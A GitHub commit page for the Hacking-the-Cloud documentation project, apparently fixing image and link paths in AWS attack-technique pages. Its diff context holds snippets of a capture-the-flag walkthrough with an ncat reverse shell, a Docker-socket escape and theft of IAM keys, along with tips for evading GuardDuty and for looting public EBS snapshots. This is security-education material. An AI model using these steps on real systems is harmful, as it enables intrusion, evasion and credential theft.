Skip to content

Commit 796da3f

Browse files
authored
Merge pull request #386 from Hacking-the-Cloud/fix/update_all_image_references
Fixed references to internal links and images
2 parents 847f57a + bceffca commit 796da3f

25 files changed

+79
-82
lines changed

content/aws/avoiding-detection/guardduty-pentest.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -56,13 +56,13 @@ To get around this, modify the code and replace it with legitimate user agent st
5656
```
5757

5858
<figure markdown>
59-
![lines](/images/aws/avoiding-detection/guardduty-pentest/lines.jpg){ loading=lazy }
59+
![lines](../../images/aws/avoiding-detection/guardduty-pentest/lines.jpg){ loading=lazy }
6060
</figure>
6161

6262
```platform.system()``` and ```platform.release()``` are similar to ```uname -o``` and ```uname -r```. On a stock Kali install it will generate the following values.
6363

6464
<figure markdown>
65-
![example](/images/aws/avoiding-detection/guardduty-pentest/example.png){ loading=lazy }
65+
![example](../../images/aws/avoiding-detection/guardduty-pentest/example.png){ loading=lazy }
6666
</figure>
6767

6868
## Validation
@@ -82,5 +82,5 @@ Boto3/1.9.106 Python/3.6.7 Linux/4.15.0-48-generic Botocore/1.12.156
8282
```
8383

8484
<figure markdown>
85-
![modified](/images/aws/avoiding-detection/guardduty-pentest/modified.jpg){ loading=lazy }
85+
![modified](../../images/aws/avoiding-detection/guardduty-pentest/modified.jpg){ loading=lazy }
8686
</figure>

content/aws/capture_the_flag/cicdont.md

Lines changed: 17 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -125,7 +125,7 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
125125

126126
After this, it will ask for a player name. Please only use lower and uppercase letters. No special characters or numbers.
127127

128-
![Consent Message](/images/aws/capture_the_flag/cicdont/consent.png)
128+
![Consent Message](../../images/aws/capture_the_flag/cicdont/consent.png)
129129

130130
After this, you will be asked if you'd like to perform the deployment. Answer with "yes".
131131

@@ -136,7 +136,7 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
136136
!!! Note
137137
You will now need to wait 10 minutes for the deployment to finish. The 10 minute timer starts **AFTER** you get the "Apply complete" notification.
138138

139-
![Output](/images/aws/capture_the_flag/cicdont/output.png)
139+
![Output](../../images/aws/capture_the_flag/cicdont/output.png)
140140

141141
Does it really take 10 minutes? Yes, it takes a little bit to get everything setup. You can take this time to get familiar with your attackbox. This is an EC2 instance you can use for whatever you need during the CTF, particularly to catch shells.
142142

@@ -153,31 +153,31 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
153153

154154
After waiting those 10 minutes, you finally have a target. You can navigate to the target_ip to see a GitLab instance. Log in using your player username and password.
155155

156-
![Login Page](/images/aws/capture_the_flag/cicdont/login.png)
156+
![Login Page](../../images/aws/capture_the_flag/cicdont/login.png)
157157

158158
From here, you can navigate around, explore the various projects, and more. You might even notice a little notification in the upper right hand corner.
159159

160-
![ToDo](/images/aws/capture_the_flag/cicdont/todo.png)
160+
![ToDo](../../images/aws/capture_the_flag/cicdont/todo.png)
161161

162162
Ashley has some work for us! Perhaps this will give us a hint for something we can exploit.
163163

164164
Navigate to the mvp-docker project's Issues page.
165165

166-
![Issue](/images/aws/capture_the_flag/cicdont/issue.png)
166+
![Issue](../../images/aws/capture_the_flag/cicdont/issue.png)
167167

168168
This is interesting for a few reasons. Most notably, Ashley wants some help with building a Docker container as a part of the CI/CD pipeline. She also mentions a [gitlab-ci.yml](https://docs.gitlab.com/ee/ci/yaml/gitlab_ci_yaml.html) file, which is the configuration for the [GitLab CI/CD](https://docs.gitlab.com/ee/ci/) pipeline.
169169

170170
Building Docker images as a part of a CI/CD pipeline can have serious security implications and this is definitely worth looking into.
171171

172172
Before we can get to that fun, let's take a look at that gitlab-ci.yml file. Navigate there and make some changes (you can edit the file through the web browser if you prefer or you can clone the project locally).
173173

174-
![Config](/images/aws/capture_the_flag/cicdont/config.png)
174+
![Config](../../images/aws/capture_the_flag/cicdont/config.png)
175175

176176
After committing changes (via the web interface or otherwise) you can navigate to the `CI/CD` tab on the left to see the pipeline execute.
177177

178178
Clicking on the status, and then the build job we can see the output.
179179

180-
![Pipeline Output](/images/aws/capture_the_flag/cicdont/buildoutput.png)
180+
![Pipeline Output](../../images/aws/capture_the_flag/cicdont/buildoutput.png)
181181

182182
This can tell us a few things that are very useful to us as attackers. First, on line 3, we see that the CI/CD pipeline is using the "docker" executor, meaning everything executes inside a Docker container somewhere. On line 6, we see that it is using an Ubuntu Docker image. And lines 20+ show us that our input is executing in this environment.
183183

@@ -191,7 +191,7 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
191191

192192
SSH into your attack box and install a tool called `ncat`.
193193

194-
![ncat install](/images/aws/capture_the_flag/cicdont/ncat.png)
194+
![ncat install](../../images/aws/capture_the_flag/cicdont/ncat.png)
195195

196196
Now, we can setup a listener (from the attackbox) with the following command.
197197

@@ -207,13 +207,13 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
207207
ncat <attackbox_ip> 443 --ssl -e /bin/bash -v
208208
```
209209

210-
![Second Pipeline](/images/aws/capture_the_flag/cicdont/newbuild.png)
210+
![Second Pipeline](../../images/aws/capture_the_flag/cicdont/newbuild.png)
211211

212212
Now click "Commit changes" and watch that pipeline run.
213213

214214
You are now the proud owner of a reverse shell inside this Docker container.
215215

216-
![Shell](/images/aws/capture_the_flag/cicdont/shell.png)
216+
![Shell](../../images/aws/capture_the_flag/cicdont/shell.png)
217217

218218
**Docker Socket**
219219

@@ -233,7 +233,7 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
233233

234234
The common location for the socket is at `/var/run/docker.sock`, let's go look for it.
235235

236-
![Finding the Docker Socket](/images/aws/capture_the_flag/cicdont/socket.png)
236+
![Finding the Docker Socket](../../images/aws/capture_the_flag/cicdont/socket.png)
237237

238238
There we go! They did mount the Docker socket! Let's use this to escape the container.
239239

@@ -257,7 +257,7 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
257257
python3 -c "import pty;pty.spawn('/bin/bash')"
258258
```
259259

260-
![Creating a TTY](/images/aws/capture_the_flag/cicdont/view.png)
260+
![Creating a TTY](../../images/aws/capture_the_flag/cicdont/view.png)
261261

262262
Doesn't that looks so much better? We have an actual shell prompt now. This will be useful for interacting with the Docker socket. Speaking of which, let's see which Docker containers are running on the host.
263263

@@ -277,7 +277,7 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
277277
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
278278
```
279279

280-
![Escalating to Root](/images/aws/capture_the_flag/cicdont/rootonbox.png)
280+
![Escalating to Root](../../images/aws/capture_the_flag/cicdont/rootonbox.png)
281281

282282
How fun is that?! We now have root on the underlying host and have escaped the container.
283283

@@ -294,7 +294,7 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
294294
curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/user-data/
295295
```
296296

297-
![Showing User Data](/images/aws/capture_the_flag/cicdont/userdata.png)
297+
![Showing User Data](../../images/aws/capture_the_flag/cicdont/userdata.png)
298298

299299
On first glance it appears pretty standard; It installs GitLab, installs the GitLab runners, activates them, etc.
300300

@@ -304,11 +304,11 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
304304

305305
After exploring around for a little while, you may stumble into the the `infra-deployer` project. That sounds important.
306306

307-
![The infra-deployer Project](/images/aws/capture_the_flag/cicdont/deployer.png)
307+
![The infra-deployer Project](../../images/aws/capture_the_flag/cicdont/deployer.png)
308308

309309
"Admin IAM Credentials are being stored in environment variables to be used with the GitLab runners". That sounds.....very interesting. The good news is that as an administrator, we can see those variables. Navigate to the `Settings` tab on the left and then click `CI/CD`. Next, click `Expand` on the `Variables` section.
310310

311-
![Showing the Environment Variables](/images/aws/capture_the_flag/cicdont/variables.png)
311+
![Showing the Environment Variables](../../images/aws/capture_the_flag/cicdont/variables.png)
312312

313313
An Access Key and a Secret Access Key! Let's see who they belong to (you can also do this [without logging to CloudTrail](https://hackingthe.cloud/aws/enumeration/whoami/) if you were so inclined).
314314

@@ -318,7 +318,7 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
318318
aws sts get-caller-identity
319319
```
320320

321-
![Whoami](/images/aws/capture_the_flag/cicdont/identity.png)
321+
![Whoami](../../images/aws/capture_the_flag/cicdont/identity.png)
322322

323323
And with that we have achieved our objective! Congratulations on completing the CTF. Want to provide some feedback? Feel free to open a discussion on [GitHub](https://github.com/Hacking-the-Cloud/hackingthe.cloud/discussions/categories/ctf-discussion).
324324

content/aws/deprecated/stealth_perm_enum.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -71,5 +71,5 @@ There are some conditions to the enumeration, and they are defined below.
7171
To perform the enumeration there is a script [here](https://github.com/Frichetten/aws_stealth_perm_enum). Setting the credentials as environment variables and then running the script will inform you what API permissions you have available to you.
7272

7373
<figure markdown>
74-
![Proof of Concept](/images/aws/enumeration/stealth_perm_enum/permissions.png){ loading=lazy }
74+
![Proof of Concept](../../images/aws/enumeration/stealth_perm_enum/permissions.png){ loading=lazy }
7575
</figure>

content/aws/enumeration/account_id_from_s3_bucket.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -59,4 +59,4 @@ found: 123456789123
5959
The majority of this activity would only be logged to the calling account (the account you are running the tool with), however S3 data events and server access logging can be used to see the API activity. That being said, there is no immediate way to counter or prevent you from doing this. Additionally these requests could be spaced out over an extended period of time, further making it difficult to identify.
6060

6161
!!! Tip
62-
Pair this with [Unauthenticated Enumeration of IAM Users and Roles](/aws/enumeration/enum_iam_user_role/)!
62+
Pair this with [Unauthenticated Enumeration of IAM Users and Roles](https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/)!

content/aws/enumeration/loot_public_ebs_snapshots.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -10,15 +10,15 @@ For EC2 instances, files and data are typically stored in [Elastic Block Store](
1010

1111
EBS Snapshots have two availability settings, Private and Public. It is important to note that EBS does not utilize resource-based policies. If a snapshot is made public via the console or through Infrastructure as Code, it will be available to anyone with no additional controls.
1212

13-
![EBS Snapshot availability setting page](/images/aws/enumeration/loot_public_ebs_snapshots/ebs_snapshot_availability.png)
13+
![EBS Snapshot availability setting page](../../images/aws/enumeration/loot_public_ebs_snapshots/ebs_snapshot_availability.png)
1414

1515
## Finding Exposed Snapshots
1616

17-
A lot of instances of resource exposure (and subsequent [exploitation](/aws/exploitation/Misconfigured_Resource-Based_Policies/)) in AWS require knowing the ARN of the resource. This provides some level of security-by-obscurity, as the attacker needs to find the ARN through some means (In some cases this can also apply to [vulnerabilities in AWS services](https://securitylabs.datadoghq.com/articles/appsync-vulnerability-disclosure/) themselves).
17+
A lot of instances of resource exposure (and subsequent [exploitation](https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/)) in AWS require knowing the ARN of the resource. This provides some level of security-by-obscurity, as the attacker needs to find the ARN through some means (In some cases this can also apply to [vulnerabilities in AWS services](https://securitylabs.datadoghq.com/articles/appsync-vulnerability-disclosure/) themselves).
1818

1919
A somewhat unique trait of EBS snapshots is that, if they are set to public, the list of those EBS snapshots is publicly available through the AWS API. From the EC2 section in the AWS console, navigate to Elastic Block Store, Snapshots, and select `Public snapshots` from the drop down. This will show all publicly available EBS snapshots (you may have to scroll through to see an accurate count).
2020

21-
![Showing the public snapshot list in the AWS console](/images/aws/enumeration/loot_public_ebs_snapshots/public_snapshot_console.png)
21+
![Showing the public snapshot list in the AWS console](../../images/aws/enumeration/loot_public_ebs_snapshots/public_snapshot_console.png)
2222

2323
To pull this list in an easily consumable format you can use the following CLI command:
2424

@@ -29,7 +29,7 @@ aws ec2 describe-snapshots --restorable-by-user-ids all
2929
As of the time of this writing there are tens of thousands of snapshots exposed. As a bonus, it is possible to filter this list by account ID, allowing you to easily target specific accounts.
3030

3131
!!! Tip
32-
This can be an easy, free (in terms of detection) check to look out for when exploiting AWS environments. If you steal IAM credentials, you can [determine the account](/aws/enumeration/get-account-id-from-keys/) they are tied to and check for exposed EBS snapshots.
32+
This can be an easy, free (in terms of detection) check to look out for when exploiting AWS environments. If you steal IAM credentials, you can [determine the account](https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/) they are tied to and check for exposed EBS snapshots.
3333

3434
To search for all public EBS snapshots associated with an AWS account, use the following command:
3535

content/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -4,14 +4,14 @@ title: Abusing Misconfigured ECR Resource Policies
44
description: How to take advantage of misconfigured AWS ECR private repositories.
55
---
66

7-
AWS Elastic Container Registry (ECR) [private repositories](https://docs.aws.amazon.com/AmazonECR/latest/userguide/Repositories.html) use resource-based policies to delineate which entities are permitted to push and pull containers. As a result, it is possible for these policies to be [misconfigured](/aws/exploitation/Misconfigured_Resource-Based_Policies/) and potentially abused. The following are some examples of possible misconfigurations and the required permissions needed to take advantage of them.
7+
AWS Elastic Container Registry (ECR) [private repositories](https://docs.aws.amazon.com/AmazonECR/latest/userguide/Repositories.html) use resource-based policies to delineate which entities are permitted to push and pull containers. As a result, it is possible for these policies to be [misconfigured](https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/) and potentially abused. The following are some examples of possible misconfigurations and the required permissions needed to take advantage of them.
88

99
!!! Note
10-
Aside from the [wildcard principal](/aws/exploitation/misconfigured_resource-based_policies/#the-principal-and-risks), you should also be mindful of overbroad permissions in general, such as permitting an entire AWS account to have access.
10+
Aside from the [wildcard principal](https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/#the-principal-and-risks), you should also be mindful of overbroad permissions in general, such as permitting an entire AWS account to have access.
1111

1212
## Understanding ecr:GetAuthorizationToken
1313

14-
A unique [requirement](https://docs.aws.amazon.com/AmazonECR/latest/userguide/repository-policies.html#repository-policy-vs-iam-policy) to abusing misconfigured resource-based policies in ECR is [ecr:GetAuthorizationToken](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ecr/get-authorization-token.html). The attacking entity must have this permission via an identity-based policy, it cannot be permitted via a resource-based policy (even if the `Action` element is `ecr:*`). For scenarios in which the policy has a [wildcard principal](/aws/exploitation/misconfigured_resource-based_policies/#the-principal-and-risks) and a broken policy, this is not a problem as you can create a role with the needed permission.
14+
A unique [requirement](https://docs.aws.amazon.com/AmazonECR/latest/userguide/repository-policies.html#repository-policy-vs-iam-policy) to abusing misconfigured resource-based policies in ECR is [ecr:GetAuthorizationToken](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ecr/get-authorization-token.html). The attacking entity must have this permission via an identity-based policy, it cannot be permitted via a resource-based policy (even if the `Action` element is `ecr:*`). For scenarios in which the policy has a [wildcard principal](https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/#the-principal-and-risks) and a broken policy, this is not a problem as you can create a role with the needed permission.
1515

1616
!!! Note
1717
When interacting with an ECR private repository via the [Docker](https://github.com/docker/cli) cli, you use [ecr:GetLoginPassword](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ecr/get-login-password.html) to authenticate. This calls `ecr:GetAuthorizationToken` to provide the needed authorization.

content/aws/exploitation/abusing-container-registry.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,7 @@ hide:
2626
IAM (Identity and Access Management) is a set of consents that attach to identities, or cloud resources, to authorize what they can actually do. This means EC2 resources, and others like it, also have identities that can change the infrastructure itself. 43.9% of organizations have internet-facing workloads containing secrets and credentials, as a result, identity and access management (IAM) has become more critical than ever.
2727

2828
<figure markdown>
29-
![Inbound SG](/images/aws/exploitation/abusing-container-registry/Abusing-Container-Registry.png){ loading=lazy }
29+
![Inbound SG](../../images/aws/exploitation/abusing-container-registry/Abusing-Container-Registry.png){ loading=lazy }
3030
</figure>
3131

3232
This post is designed to show the impact of this attack technique and help security engineers and DevOps/SecOps to detect and understand the risks of ECR and other Container registries.

0 commit comments

Comments
 (0)